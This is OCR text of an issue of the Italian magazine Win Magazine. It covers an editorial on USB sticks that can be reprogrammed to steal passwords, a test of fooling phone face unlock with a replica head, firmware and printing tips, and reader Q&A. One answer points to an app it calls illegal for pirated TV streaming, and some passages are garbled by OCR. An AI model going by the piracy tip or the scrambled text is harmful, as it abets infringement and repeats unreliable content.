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EDITORIALE 


La penna USB che scopre le password 


Nell'era della miniaturizzazione della tecnologia stiamo 
assistendo ad un vero e proprio exploit delle chiavette. 
Questi pratici e spesso simpatici aggeggini che hanno 
debuttato come memorie di massa, si sono evolute 
in pochissimo tempo fino a racchiudere qualsiasi 
aspetto della multimedialità. Oggi con le famose 
Pen Drive ci si può fare praticamente di tutto: ci sono 
quelle che consentono di connettere dispositivi mobili 
a computer, box multimediali e televisori; altre sono 
esse stesse dei PC con tanto di sistema operativo e 
programmi; e tra i must del momento non possono 
non essere citate le chiavette per navigare sul Web a 
banda larga. 


E come se tutto ciò non bastasse, abbiamo scovato 
delle particolari chiavette USB che, se opportunamente 


“truccate”, si trasformano in perfette macchine spia- 
PC. Sì, hai capito bene, delle chiavette che, se inserite 
in una porta USB del tuo computer, sono in grado di 
aspirare le password e inviarle all'indirizzo e-mail del 
malintenzionato che le ha programmate. Che sia chiaro, 
le chiavette per così come sono vendute, non hanno 
nulla di illegale e si comprano a poco più di un euro... 
ma se riprogrammate possono far guai. Noi, qui in 
redazione, abbiano deciso di acquistarle e usarle come 
una sorta di recovery-password-Wi-Fi: ti sei dimenticato 
la password della rete Wi-Fi alla quale è connesso il 
tuo notebook? Niente paura, con questa chiavetta 
riuscirai a recuperare la parola d'accesso perduta. 


La redazione - winmag@edmaster.it 
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questione {l 


di testa? 


Basta un semplice sguardo per sbloccare 

lo smartphone: il riconoscimento facciale ora 
lo rende possibile. Esiste la possibilità 

di ingannare questo sistema di sblocco? 

| nostri esperti hanno voluto provarci 


P rossimamente, sugli smartpho- 
ne di qualsiasi fascia di prezzo, lo 
sblocco del dispositivo verrà affidato 
al sistema di riconoscimento facciale 
e, in tal modo, verranno eliminati la 
fastidiosa immissione del codice PIN 


(ome nasce una 


e il sensore per impronta digitale, 
poiché per lo sblocco basterà dare 
uno sguardo allo smartphone. Ma 
quanto può considerarsi affidabile 
questo sistema? E quanto è semplice 
bypassarlo? 


testa artificiale 


Non è affatto semplice creare una riproduzione realistica 
di una testa. Ti mostriamo passo dopo passo tutte le fasi della 
"clonazione" che abbiamo effettuato qui in redazione. 
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Ses aKSi[oJala 
della testa 


Attraverso uno scanner Artec Eva 
3D, la testa del redattore viene cam- 
[e]{e]al=|t= 1-10 MSlat= Mi diSo)[Vr4[o]alalie|Meltis 
milioni di pixel. 


* La testa viene 
palolelslifelt: 


(Wai) rele|telanlants Si olsiette] [SM o) (oNAVZIo]S 
a trasformare tutte le singole coor- 
dinate in un modello 3D rifinito da 


una superficie chiusa. 











"> Operazione 
gloNelite] 








Al termine della procedura diventa di- 
sponibile il file del modello 3D della te- 
sta. Attraverso tutti questi dati, o 


U 
possibile "mandare in stampa" ilt 





ra sarà 


Utto. 


STATO 


Una testa artificiale 

come passepartout? 

Per scoprire in che modo sia possibile 
“ingannare” il riconoscimento facciale, 
la redazione ha riprodotto accurata- 
mente dal punto di vista tecnico e 
artistico, la testa di un collega. Nel 
caso vuoi mettere nella libreria una 
copia perfetta della tua testa, dovrai 
anche essere disposto a spendere 
oltre 5.000 euro. Ma anche con una 
testa finta, è possibile imbrogliare il 
riconoscimento facciale? 





Talvolta basta 

una semplice foto 

Sistemi di sblocco più semplici, pre- 
senti in numerosi smartphone An- 
droid, sono in grado di riconoscere 
solo modelli bidimensionali e, a volte, 
per sbloccare il dispositivo è sufficien- 
te una foto del possessore dello smar- 
tphone. Alcuni attuali smartphone 
top di gamma, utilizzano un sistema 
decisamente più affidabile per il ri- 
conoscimento dei loro proprietari. 
Nuove prospettive vengono aperte 
dal sistema Face ID di Apple, che non 
è possibile ingannare con il trucco 
della fotografia. 


Testa di gomma registrata 

Dopo aver riprodotto la testa del no- 
stro redattore si è passati al test, fina- 
lizzato a ingannare il riconoscimento 
facciale e la prova si è svolta in due fasi: 
abbiamo voluto innanzitutto scoprire 
quali smartphone sono in grado di 
riconoscere che non si tratta di una 
testa autentica. La seconda fase della 
prova ha riguardato l'effettivo utilizzo 





Si ife110) 
per strato 


Una stampante 3D Ultimaker provvede 
a realizzare la testa artificiale, strato dopo 
strato. Il processo di stampa ha richiesto 
complessivamente due giorni. 


Win Magazine 7 


® TEST FINALE Mediante la testa 
artificiale del redattore di Win Magazine, 
verifica se e quanto sia semplice 
ingannare il riconoscimento 

facciale dello smartphone. 


della testa finta: è possibile sbloccare con 
una riproduzione della testa, lo smart- 
phone a cui era stato associato quella 
autentica del redattore? Nella prima pro- 
va, tutti i candidati al test hanno fallito: 
il Huawei P20 Lite, il nuovissimo Huawei 
Mate 20, il Samsung Galaxy Note 9, l'iPho- 
ne X e l'iPhone XS hanno riconosciuto 
il modello artificiale come un'autentica 
testa. Tutto questo significa che con il 
riconoscimento facciale, la testa artificiale 
consente di “registrare” gli utenti e di 
sbloccare successivamente gli smartpho- 
ne con una copia della testa. È evidente 
che gli smartphone hanno riconosciuto 
come utenti reali teste artificiali riprodotte 
intelligentemente, senza tenere conto di 
dati.relativi alla temperatura della testa o 
ai movimenti della pupilla. Esiste quindi 
ancora un potenziale di ottimizzazione, 
per escludere azioni di hackeraggio me- 
diante teste artificiali. 


Sblocco con una testa artificiale? 

Nella seconda fase del test, solo il Hua- 
wei P20 Lite ha invece fatto cilecca. È sta- 
to possibile eseguire lo sblocco anche 
con la testa artificiale, sebbene la testa 
autentica del nostro collega fosse stata 
associata allo smartphone. Motivo: per il 
riconoscimento facciale, il P20 Lite utilizza 
unicamente la camera frontale. Gli altri 
smartphone testati si affidano a sistemi 
di riconoscimento più complessi e nel 
corso di varie prove eseguite da diverse 
angolazioni e con un'illuminazione dif- 


La testa 
Ol(<Y2% 





Le linee geometriche sono ora esatte. f 
alcuni sistemi di riconoscimento, questa 
struttura dovrebbe già bastare, ma la testa 
dovra sembrare ancora più realistica 
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ferente, questi dispositivi non 
hanno consentito lo sblocco 
attraverso una testa artificiale. 


Affidabilità 

del riconoscimento 

Di norma vale la regola che, quan- 

to più è elaborato il riconoscimento 
facciale tenendo in considerazione un 
numero sempre più elevato di dettagli, 
tanto più complicata sarà la possibilità di 
ingannarlo. Ad esempio, il Face ID diventa 
più semplice da neutralizzare se è stato 
programmato per riconoscere l'utente 
anche se mantiene gli occhi chiusi. Invece, 
chi, come con il Samsung Galaxy Note 9 
combina il riconoscimento facciale con 
l’Iris Scan (“Intelligent Scan”), non riu- 
scirà con una testa artificiale, né a neu- 
tralizzare il sistema, né ad associarla allo 
smartphone. Nessun occhio artificiale è in 


Occhio 
per occhio 
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grado di ingan- 

nare l’'Iris Scan 

del Galaxy Note 

9. Dal nostro test 

è emerso che si- 

stemi complessi 

di riconoscimen- 

to facciale basati su 

tecnologia a infrarossi 

o sulla scansione dell'iride, 

non sono facilmente neutralizzabili me- 

diante una testa artificiale o altro semplice 

metodo: un truffatore - oppure anche 

un rappresentante dell'autorità statale 

- hanno bisogno che l'utente registrato, 

tenga lo smartphone davanti al volto per 

sbloccarlo. Nel caso in cui lo sblocco sia 

affidato al Face ID, non è neppure ne- 

cessario dover richiedere il PIN che ogni 

utente di smartphone dotato di ricono- 
scimento facciale deve impostare. 
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cansione DIOMETTICA 


CAMERA TRUEDEPTH DI APPLE: TRE PASSAGGI PER ESSERE 
RICONOSCIUTI ATTRAVERSO IL FACE ID 


1, Sensore di prossimità: | 
2. Luce e camera a infrarossi: i 


riconoscimento di movimenti davanti al display attiva il sistema TrueDepth. 
riconoscimento del viso e degli occhi fa entrare il funzione il Face [D. 


3. Proiettore di punti e camera a infrarossi: riconoscimento del volto memorizzato. 


Sensore luce | Sensore di prossimità | Camera da 


ambiente 
Speaker 


Luce a infrarossi 


Camera a infrarossi 


Come fU 


Il riconoscimento facciale esiste da lun- 
go tempo, ma Apple con il Face ID pre- 
sente su iPhone X, XS e XRha migliorato 
il livello di questa tecnologia. Sarebbe 
auspicabile che anche altri produttori si 
impegnassero sotto questo aspetto: per 
il Face ID, Apple ha sviluppato in proprio 
il sistema TrueDepth costituito da came- 
ra, sensori e proiettori. Il sistema è inseri- 
to in una rientranza presente nella parte 
alta del display dell'iPhone e qui, oltre 
alla camera frontale trova posto un pro- 
iettore a infrarossi, in grado di indirizzare 
e irradiare sul viso una griglia costituita 
da 30.000 punti infrarossi. riflessi con- 


i 


: 


Microfono 


NnzIONA il 


î 


sentono di comporre un'immagine tridi- 
mensionale, che viene confrontata at- 
traverso l'elettronica dell'iPhone con il 
viso registrato dell'utente, memorizzato 
in un'area protetta dello smartphone. 
Tutto questo si svolge in una frazione di 
secondo ed è invisibile all'occhio umano. 
Nel riconoscimento facciale, la 
fotocamera frontale non en- 

tra in gioco, mentre invece 
vengono interessati i rag- 
gia infrarossi, che rendo- 
no possibile lo sblocco 
dello smartphone anche 

al buio. Poiché tutto dipen- 





7 Megapixel 


Proiettore di punti 


4 


Hi 


) 


de dalla forma del viso, l'attivazione del 
Face ID non viene disturbata né da un 
eventuale, pesante make-up presente 
sul viso, né da una capigliatura in disor- 
dine. Spesso il Face ID funziona anche se 
l'utente esegue lo sblocco tenendo ad- 
dosso gli occhiali o con un cappello in 
testa. Apple valuta in 1 caso su 
un milione (1:1.000.000), la 
possibilità che qualcuno 
possa neutralizzare ca- 
sualmente il Face ID e ri- 
chiama esplicitamente 


JI tà che potrebbero interve- 


e | 
a Ì 


o 


e 


- 


| redattore 


l'attenzione su vulnerabili- 


Il Face ID di Apple è basato sul 
sistema TrueDepth Camera. Il 
riconoscimento entra in funzione 
solo gradualmente, non appena 
i sensori riconoscono un viso 
davanti al display. 





nire in caso di utenti gemelli, poiché uti- 
lizzatori fratelli sono riusciti effettiva- 
mente a ingannare il Face ID. A detta di 
Apple, la probabilità che il dito di un 
utente non autorizzato venga ricono- 
sciuto corretto dal sistema di riconosci- 
mento dell'impronta digitale via Touch 
ID, può verificarsi però in 1 caso su 
50.000. Fino ad oggi, in redazione non 
siamo riusciti a neutralizzare il blocco 
del Face-ID con una testa artificiale e il 
sistema può quindi essere ritenuto ab- 
bastanza affidabile. Si stanno comunque 
apportando ottimizzazioni alla testa ar- 
tificiale del nostro redattore. Stay tuned! 


È A 4 —_ 
ma 
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‘ra probabilmente proprio quella 
er il resto l'effetto illusorio è 
cadranno nella trappola? 


Capelli e carnagione 


La capigliatura noi 


ie) Ma|OXSU (ON (<il: \U10) (2300 


zie ad un'altra azienda specializzata in ma 
diamo trasformato la testa 


Infine, gra 
schere per effetti speciali, ab 


artificiale nuda in uno sbalorditivo clone del nostro redattore. ben riuscito. Quali smartphone 
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Sapere se iltuo computer 
ha un cuore BIOS o VEFI 


v Come faccio a capire che firmware usa il PC? 
v Che differenza c'è tra BIOS e UEFI? 


al 2010, sui computer Windows ha de- 

buttato l'UEFI (acronimo di Unified Ex- 
tensible Firmware Interface) in sostituzione 
del BIOS (acronimo di Basic Input Output 
System), ovvero il primo software che viene 
eseguito all'avvio del PC, che risiede su un 
piccolo chip di memoria della scheda ma- 
dre e che gestisce l'esecuzione del sistema 
operativo e fornisce le funzioni utili per la 
gestione dell'hardware del computer e delle 
periferiche integrate nello stesso. L'UEFI offre 
svariati vantaggi rispetto a BIOS, primo tra 
tutti la disponibilità di un'interfaccia grafica 
vera e propria, come quella di un qualsiasi 
altro software, risultando quindi decisamente 


mi 


Cormpondenza migliore 


I Mbmretnonina 
rn CO sog cone acini bs 


Impostanoai 


Y Modifica le impostazioni d "8 Aggiungi a Start 


mpt del comandi 
dell'account utente pesi 


+ Aggiungi aila barra delle applicazioni | 


Facciamo clic sul pulsante Start sulla bar- 

ra delle applicazioni e digitiamo prompt 
nel campo di ricerca. Facciamo clic destro sul 
Prompt dei comandi, scegliamo Esegui come 
amministratore dal menu che si apre e faccia- 
mo clic sul pulsante Si. 
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più semplice e intuitivo anche da parte degli 
utenti meno esperti. 

La sostituzione del BIOS in favore dello UEFi si 
è rivelata necessaria per riuscire a oltrepassare 
alcune limitazioni della precedente interfaccia 
firmware e per offrire agli utenti maggiori fun- 
zionalità che ne migliorano di gran lunga l’uso. 
Ciò detto, chiedersi come fare per sapere se il 
nostro PC Windows sta impiegando il vecchio 
BIOS oppure l'UEFI è più che lecito. 


Usiamo il Prompt dei comandi 

per scoprire se viene usato 

Il BIOS o l'UEFI 

Partendo da presupposto fondamentale che 
nonostante la maggior parte dei PC prodotti a 
partire dal 2010 sfrutti l'UEFI, non per forza di 
cose tutti i computer se ne servono. Per scoprire 
quale interfaccia firmware viene impiegata 
dalla nostra postazione, basta impartire un 
comando apposito da Prompt dei comandi e 
prendere visione del relativo responso. 
Vediamo dunque in che modo occorre 


I Amministratore: Prompt dei comandi 


Nella finestra del Prompt dei comandi che 

a questo punto ci viene mostrata sul de- 
sktop, digitiamo il comando bcdeditche serve a 
visualizzare i dati della configurazione di avvio 
del computer e schiacciamo il tasto Invio sulla 
tastiera del PC per impartirlo. 


procedere, di preciso, per poter ottenere l'in- 
formazione in questione. Al contrario di quel 
che si possa pensare, i passaggi da compiere 
per riuscire nell'impresa sono estremamente 
semplici. 


USARE SYSTEM INFORMATION 

Oltre a sfruttare il Prompt dei comandi, se non abbiamo 
voglia di ricavare l'informazione di nostro interesse da 
riga di comando, possiamo scoprire se il computer utiliz- 
za il BIOS oppure l'UEFI mediante la finestra di System 
Information, la quale, come intuibile dal nome stesso, 
riporta tutte le informazioni hardware e software del 
computer. Per accedervi, apriamo il menu Start facen- 
do clic sul pulsante apposito situato sulla barra delle 
applicazioni, digitiamo msinfo32 nel campo di ricerca 

e selezioniamo msinfo32.exe dall'elenco dei risultati. 
Nella finestra che compare sul desktop, individuiamo 

la sezione Risorse di sistema nella colonna di sinistra e 
scorriamo la lista delle voci presenti nel pannello infor- 
mativo di destra fino a individuare la dicitura Modalità 
BIOS. Se in corrispondenza della dicitura in questione è 
riportata la voce Legacy, allora vuol dire che il computer 
fa uso del vecchio BIOS. Se, invece, viene è riportata la 
voce UEFI allora significa che il computer fa uso della più 
recente interfaccia firmware. 


AD Ammnitratore Prompt dei comandi 





Nell'elenco delle informazioni visualizzate, in- 

dividuiamo la sezione Caricatore di avvio di 
Windows. Se il percorso riportato nella riga path 
termina con winload.exe è in uso BIOS legacy, 
mentre se il percorso termina con bootmgfw. 
efiè in uso l'UEFI. 





Stampa low cost di pag 





ineWeb 


v Come faccio a rimuovere gli elementi inutili 


dalle pagine Internet da stampare? 


v Come posso evitare di sprecare inchiostro durante 
la stampa di un sito? 


N avigando in Rete, capita sovente di ritrovarsi 
a dover stampare delle pagine Internet 
contenenti informazioni di interesse. Purtroppo, 
però, succede altrettanto frequentemente che 
tali pagine Web risultino essere piene zeppe di 
pubblicità, pulsanti per la condivisione sui social 
network e altri elementi grafici inutili che non 
fanno altro che andare a gravare sulle cartucce 
della stampante, producendo un incredibile 
spreco di inchiostro e contribuendo al loro im- 
mediato esaurimento, senza contare il fatto che 
nella maggior parte dei casi occorrono anche 
più fogli del dovuto. Insomma, un vero disastro! 
L'ideale, per far fronte alla cosa, sarebbe 


Mae più ademorratica». Cina più forte. maggioromi diglta) ma piena 
eSport, Sono slcune delle dieci previsioni tecnologiche di Delelte perl 201 


Inteligenza artificiale democratica 


AY Leggi ni ata voce 
43 Agguog questa pagina ala bava dele Ìppicaion 


Apriamo Edge facendo clic sulla sua icona 

sulla taskbar, rechiamoci sulla pagina Inter- 
net di nostro interesse e clicchiamo sul pulsante 
[...], nella parte in alto a destra della finestra del 
browser. Dopodiché pigiamo sulla voce Stampa 
nel menu che compare. 


rimuovere tali elementi prima di procedere con 
la stampa ma... come riuscirci? Semplice, anzi 
di più: usando un'apposita funzione integrata 
in Edge, il browser di casa Microsoft impostato 
come predefinito su tutti i PC con suinstallato 
Windows 10. 


Rimuoviamo gli elementi 

inutili dalle pagine Web con Edge 
Probabilmente sono davvero in pochi ad averci 
fatto caso ma tra le impostazioni di Edge si 
nasconde una funzione, guadagnata con l'ag- 
giornamento Windows 10 April 2018 Update 
che, appunto, consente di stampare le pagine 
Internet senza elementi superflui, inmodo tale 
da ridurre all'osso gli sprechi. Usarla è facilissimo 
e, trattandosi di una feature “di serie”, non è 
assolutamente necessario installare nuovi pro- 
grammi o estensioni sul computer. L'unica cosa 
di cui occorre tener conto e che tale funzione 
risulta disponibile solo ed esclusivamente per le 
pagine Web che prevedono anche la modalità 


Nella finestra dell'anteprima di stampa vi- 

a sualizzata, selezioniamo l'opzione Attivata 

dal menu a tendina Stampa senza elementi su- 

perflui che si trova a sinistra e attendiamo che 

l'anteprima della pagina di riferimento presente 
a destra venga ricaricata. 


lettura (vale a dire quelle perle quali nella barra 
degli indirizzi Internet è riportata l'icona del 
libro). Andiamo quindi a scoprire come fare per 
poter sfruttare questa funzionalità e ottimizzare 
la procedura di stampa. 


EVITARE SPRECHI DI INCHIOSTRO 

CON CHROME E FIREFOX 

Anche con Chrome e Firefox è possibile evitare che 
vengano stampati gli elementi superflui presenti sulle 
pagine Internet in modo da evitare sprechi di inchiostro 

e carta. Per quanto riguarda Chrome, possiamo riuscirci 
sfruttando l'estensione Click to Remove Element (http:// 
bit.ly/2Cav8pL). Per usarla, non dobbiamo far altro che 
installarla, premere il relativo pulsante sulla barra degli 
strumenti e cliccare sulle parti della pagina Web che voglia- 
mo rimuovere dalla stampa. 

La più recente versione di Firefox, invece, integra una 
funzione simile a quella offerta da Edge. Di conseguenza, 
non è necessario usare risorse di terze parti. Per sfruttarla, 
rechiamoci sulla pagina da stampare, clicchiamo sul pul- 
sante cone tre linee in orizzontale in alto a destra e poi 
sulla voce Stampa. Spuntiamo quindi la casella accanto la 
voce Semplifica pagina e procediamo con la stampa vera e 
propria, facendo clic sul bottone Stampa in alto a sinistra. 





Se ci riteniamo soddisfatti del risultato fi- 

nale ottenuto, facciamo clic sul pulsante 
Stampa collocato in basso a sinistra, n modo 
tale da procedere con la stampa della pagina. 
Attendiamo dunque che la procedura di stampa 
venga avviata e portata a termine. 
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NETLIOI 


Inviaci le tue domande: faremo di tutto per aiutarti! 
Scopri gli indirizzi e-mail della redazione a pag. 13 








IL CONVERTITORE 
UNIVERSALE 
PERI VIDEO 


Durante le ultime vacanze nata- 
lizie ho girato molti video di 
famiglia. La mia domanda è la 
seguente: come posso convertir- 
li in un diverso formato, soprat- 
tutto per far sì che risultino non 
troppo pesanti e con la stessa (o 
simile) qualità originale anche 
dopo la conversione? 

Andrea 


La soluzione al problema è sem- 
plice ed è rappresentata dal pro- 
gramma gratuito Format Factory 
(http://bit.ly/2T7vKD)). Una volta 
scaricato dal sito ufficiale (o prele- 
vato dal nostro supporto), instal- 
lalo (facendo attenzione a non in- 
stallare i software sponsorizzati to- 
gliendo la relativa spunta durante 
tale procedura). Dopo l'installazione 
apri Format Factory. A sinistra trovi 
varie sezioni come Video, Audio e 
Immagini. Se hai bisogno di conver- 
tire un video, entra nella relativa se- 
zione e seleziona il nuovo formato 
che quest'ultimo dovrà avere. A 
questo punto clicca su Aggiungi File 
per selezionare il video da conver- 
tire, in Cartella di destinazione inse- 
risci la destinazione dove salvare il 
video convertito, poi fai click su OK 
ed infine su Vai. Attendi il completa- 
mento dell'operazione ed il gioco è 
fatto! Puoi effettuare lo stesso pro- 
cedimento ad esempio per conver- 
tire un video in un file audio, recan- 
doti in Audio/MP3. 





® Format Factory è in grado inoltre, 
di riparare i file video corrotti o 
danneggiati 


I NOSTRI ESPERTI 
DI INTERNET 
RISPONDONO... 


TV ANCHE 
FUORI CASA 


Spesso sono fuori casa per 
motivi di lavoro ed ho bisogno 
di un’app per smartphone o 
tablet per guardare i miei pro- 
grammi preferiti anche quan- 
do sono in giro. Vorrei qualche 
soluzione in merito. Cosa potete 
consigliarmi? 

Giada 





®© Rayplay.it è una miniera di 
contenuti video in diretta o ondemand 
da guastarsi su PC o smartphone 


Hai l'imbarazzo della scelta. Se hai 
bisogno di vedere i contenuti RAI 
sul tuo device puoi contare su Rai- 
Play (disponibile sia sullo store An- 
droid che i0S) oppure Mediaset 
Play, per gustarti i contenuti dei 
canali Mediaset. Se preferisci ve- 
dere le dirette dal sito ufficiale, sca- 
ricati il browser Chrome e vai sul 
sito dell'emittente del programma 
che vuoi vedere e seleziona lo stre- 
aming. 


REGISTRARE CANALI 
TV SENZA LA TV 


Mi consigliate qualche meto- 
do perregistrare i contenuti TV 
direttamente susmartphone per 
poi conservarli sul PC? Grazie 
Filippo 


Tra le soluzioni, esiste un'app per 
Android in grado di far vedere 
contenuti gratis in streaming, ma 
è illegale, ed è TVTAP Pro. Alcuni 


registrano lo streaming offerto da 
quest'app con i vari programmi 
di registrazione schermo trovabili 
sullo store del proprio sistema ope- 
rativo. La stessa cosa si può fare 
da PC con OBS Studio (http://bit. 
ly/2HICI6C), che garantisce qua- 
lità e una registrazione di buona 
risoluzione. 


Principale 





CLASSICA HD 





Animal pla... Automoto 


09 _ 09 o 
E, BIKE Ci 


® L'app 100% illegale usata dai pirati 
che consente la visione in streaming 
di numerosissime TV mondiali 


TRASMETTERE IL 
CONTENUTO DELLO 
CELLULARE SULLA TV 


Vorrei fare in modo tale che 
il contenuto che sto vedendo 
sullo smartphone appaia anche 
sulla TV. Cosa mi consigliate di 
prendere? 

Chiara 


Anni fa si usava collegare il de- 
vice alla TV tramite cavo HDMI. 
Ora le cose sono cambiate: esi- 
ste infatti la Chromecast di Go- 
ogle (https://store.google.com/ 
product/chromecast), che è giunta 
alla sua terza edizione. Basta col- 
legare tale apparecchio alla porta 
HDMI della propria TV, installare 
sullo smartphone l'app Google 
Home (https://madeby.google. 
com/home/setup/), dopodiché 
nella schermata Home dell'app 
Google Home, toccare Aggiungi, 
poi Configura dispositivo e Confi- 
gura nuovi dispositivi. Scegli lAc- 
count Google da collegare a Chro- 
mecast. Se non trovi l'account che 
vuoi usare, puoi aggiungerne uno 
nuovo. Tocca OK. A questo punto 





attiva il Bluetooth per la configu- 
razione e infine avvia la ricerca di 
dispositivi. Terminata la configura- 
zione, sarà possibile “trasmettere” 
il contenuto visualizzato sul display 
del telefonino direttamente in TV. 


IL PC COME 
UNA VERA TV 


Vorrei utilizzare il computer 
come videoregistratore della 
TV per registrare e salvare una 
determinata trasmissione, rice- 
vendoicanali via antenna. Sono 
molto confuso a riguardo enon 
sono riuscito a trovare una solu- 
zione al problema. Come posso 
quindi, effettuate tale operazio- 
ne? Grazie. 

Roberto 


La soluzione a ciò è abbastanza 
semplice da compiere: basta ac- 
quistare una scheda tuner TV DVB- 
T per PC: è simile ad una chiavetta 
USB ma va collegata l'antenna (noi 
in redazione usiamo questa che 
costa meno di 20 euro: https:// 
amzn.to/2U9CKQr). Una volta 
collegata la chiavetta al compu- 
ter, tramite un mediacenter o il sof- 
tware presente in dotazione con la 
scheda, si possono vedere i vari ca- 
nali che verranno quindi trasmessi 
via antenna (e non in streaming). 
A questo punto puoi usare il sof- 
tware stesso per registrare i con- 
tenuti oppure scaricarti OBS Stu- 
dio (http://bit.ly/2HICI6C), tanto 
per citarne uno gratuito. 


WEB RADIO 
E SANREMO SU PC 


Ascolto molto la radio e a volte ci 
sono dei programmi che vorrei 
registrare per ascoltarmeli poi 
in un secondo momento. Pro- 
prio ora che è da poco finito il 
Festival mi farebbe piacere ave- 
re un po' di successi Italiani sul 
mio PC. Esiste qualche software 
che permette, gratuitamente, di 
registrare la radio e poi ascoltare 
tali registrazioni su PC? 
Monica 


Per facilitare la lettura degli indirizzi Internet riportati nel testo, abbiamo utilizzato la notazione T-URL: 
basta digitale nel browser l'indirizzo indicato per essere reindirizzati sul sito originale. 
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Ecco l'elenco delle più famose 
radio italiane 


RT: 


ATL Best: 


peabvocza br 20340: 3070 


NTL.italianStyle: 


ATL Lounge: 
RTL Radiofreccia: 


Radio Zeta L'Italiana: 





Tra le numerose funzioni di VLC, particolarmente utile per il nostro scopo è 
quella di mandare in play un flussio audio. Ma dove trovare i giusti link alle radio 
in streaming? Punta il browser su http://bit.ly/updatewebradio 


Puoi registrare una radio utiliz- 
zando il software VLC media 
player (http://bit.ly/2FNVkdc). 
Una volta scaricato (o prelevato 
dal nostro supporto) ed installato 
sul computer, clicca su Visua- 
lizza/Controlli avanzati. A que- 
sto punto compaiono i pulsanti 
utili alla registrazione. Ora recati 
su Media/Apri flusso di rete ed 
inserisci, nella barra che compare, 
il link della radio che puoi trovare 
su questo sito http://bit.ly/upda- 
tewebradio. Infine clicca su Ripro- 
duci, apri il menu Riproduzione e 
clicca sul pallino rosso per iniziare 
a registrare la trasmissione. Clic- 
cando sullo stesso pulsante inol- 
tre, fermi la registrazione, che si 
salverà come file .mp4 nella se- 
guente destinazione: C:\Users\ 
Nome_Utente\Music, 


Nonriesco ascaricare i program- 
mi TV da siti Web come RaiPlay, 
per vedere i miei contenuti pre- 
feriti anche offline. Ho provato 
varimetodima non sonoriuscito 
a trovare una soluzione. Come 
posso fare? Giancarlo 


Utilizza l'estensione Video Down- 
loadHelper, disponibile gratuita- 
mente al download per Chrome 
e Firefox recandoti qui: http://bit. 
ly/salvatuttalatv. Una volta scari- 
cata ed installata tale estensione, 
ad esempio, vai sul sito https:// 
www.raiplay.it e apri un qual- 
siasi video. In alto a destra vedrai 


l'icona dell'estensione appena in- 
stallata colorarsi, cliccaci sopra 
e seleziona il video da scaricare, 
cliccando sulla relativa freccetta 
che va verso il basso. Nel caso 
l'estensione chiedesse di instal- 
lare VdhCoAppSetup, procedi 
pure. Terminato il download del 
video, esso si troverà nella cartella 
C:\Users\Nome_Utente\dwhelper 
Giusto per curiosità, andando su 
http://bit.ly/youtomp3 puoi scari- 
care un video da YouTube (anche 
in formato .mp3) copiando l'URL 
al suo interno. 


Anziché registrare sul PC una 
trasmissione TV tramite sof- 
tware di screencast (ovvero 
quei software che registra- 
no tutto ciò che si vede sul- 
lo schermo, ndr), si potreb- 
be utilizzare un registratore 


LEI 
Gate 





1) ABBONAMENTI 





Vuoi sapere come ci si abbona a Win Magazine? Sei già abbonato, 
ma non hai ancora ricevuto qualcuna delle copie che ti spettano? 


Scrivia abbonamenti@edmaster.it 
2) CD/DVD-ROM DIFETTOSI 


| supporti allegati alla tua rivista preferita non funzionano e vuoi 
sapere quali sono le modalità per richiedere la sostituzione? 


Scrivia servizioclienti@edmaster.it 


3) LE TUE IDEE 


Hai suggerimenti per un articolo che ti piacerebbe vedere pubblica- 
to sulla rivista? Vorresti collaborare con la redazione per offrire il tuo 


contributo a Win Magazine? 


Scrivia winmagidee@edmaster.it 


4) ASSISTENZA TECNICA 
Problemi con il computer e Internet? Difficoltà a mettere in pratica 
un articolo? Vuoi qualche chiarimento su come funziona questo o 
quel software presente sul CD/DVD-Rom? 


Scrivia winmag@edmaster.it 





Da VLC è possibile vedere in streaming i principali canali TV italiani e esteri, 
attivando la registrazione sul disco del nostro PC di tutto ciò che si vede in 
diretta. Il tutto senza minima perdita di qualità 


professionale che scarichi il 
file video alla sorgente? 
Marco 





Vuoi scaricare video da Internet? Bene, Video DownloadHelper ti facilita tanto 
la vita. Installa prima l'estensione per il tuo browser e poi il software. A questo 
punto basta puntare il brower su un portale video e avviare il download 


Si, e si può ricorrere a VLC media 
player (http://bit.ly/2FNVkdc). 
Una volta installato, andiamo 
sul Web alla ricerca di link IPTV 
da inserire in VLC digitando sul 
motore di ricerca parole chiave 
come ad esempio, “m3u vlc rai 
1”. Da VLC rechiamoci in Media/ 
Apri flusso di rete, inseriamo il 
link trovato sul Web e poi Ripro- 
duci. Attendiamo qualche se- 
condo che compare la diretta e 
rechiamoci in Visualizza/Con- 
trolli avanzati. A questo punto 
clicchiamo sul pallino rosso per 
iniziare la registrazione e di 
nuovo sullo stesso pulsante per 
terminarla. Il video si troverà in 
C:\Users\Nome_Utente\Video. 
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| ILNUOVO MODELLO ENTRY-LEVEL 


Macbook AIR 


Un notebook da oltre 1.000 euro come modello entry-level? 
Sì, Apple si azzarda a proporlo. Il test svela se vale la pena 
investire una cifra così elevata in un MacBook Air 


Il nuovo MacBook 
Air è disponibile 

in tre colorazioni: 
leggermente 

scuro per il “Grigio 
siderale”, nel classico 
color argento o 
leggermente rosato 
con luccichii dorati 
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ottile, leggero, robusto e suf- 

ficientemente veloce per 

l'utilizzo quotidiano: tutte 
queste caratteristiche, hanno re- 
so da oltre dieci anni il MacBook 
Air un dispositivo che fa tenden- 
za. Tuttavia, nonostante questo 
notebook sia stato riveduto con 
regolarità, l’ultimo modello co- 
minciava a dimostrare tutti i suoi 
anni. L’Air, versione 2018, offre 
invece una tecnologia attuale e 
un display ultranitido. 


Quali sono 

le novità principali? 

Il nuovo MacBook Air è diven- 
tato decisamente più piccolo e 
più leggero, pur offrendo uno 
schermo di formato inalterato. 
Poiché vanta ora il cosiddetto 
display Retina, in grado di offrire 
un’elevatissima risoluzione pari 
a 2560 x 1600 Pixel, l’immagine si 
presenta nettamente più nitida 
rispetto a quella del predeces- 
sore e tutto questo consente di 
visualizzare immagini ricche di 
dettagli e di evidenziare le scritte 
con caratteri piccoli. Nelle, prove, 
il display si è inoltre rivelato con- 
vincente per una riproduzione 
cromatica estremamente fedele 


MET ={ol0]WAV11 


e per una luminosità uniforme, 
requisiti ideali per elaborare ot- 
timamente foto e video. 
Tastiera e touchpad non si diffe- 
renziano da quelli presenti sul 
più costoso MacBook Pro, ma 
per l'Air sono stati leggermen- 
te riveduti e ne è risultata una 
tastiera che offre una gradevo- 
lissima esperienza di scrittura, 
ma occorre abituarsi a tasti con 
una corsa estremamente corta. Il 
touchpad si rivela robusto, non 
cede al tatto e utilizza la tecnolo- 
gia “Force Touch” che permette 
di esercitare pressioni differenti 
per aumentare la possibile inte- 
razione. L'ampia superficie del 
touchpad rende l’usabilità molto 
semplice. 

Il MacBook Air è il primo note- 
book di Apple dotato del chip T2 
realizzato in proprio dall'azienda 
di Cupertino. Questa CPU è in 
grado di eseguire operazioni, 
attuate solitamente dal chipset 
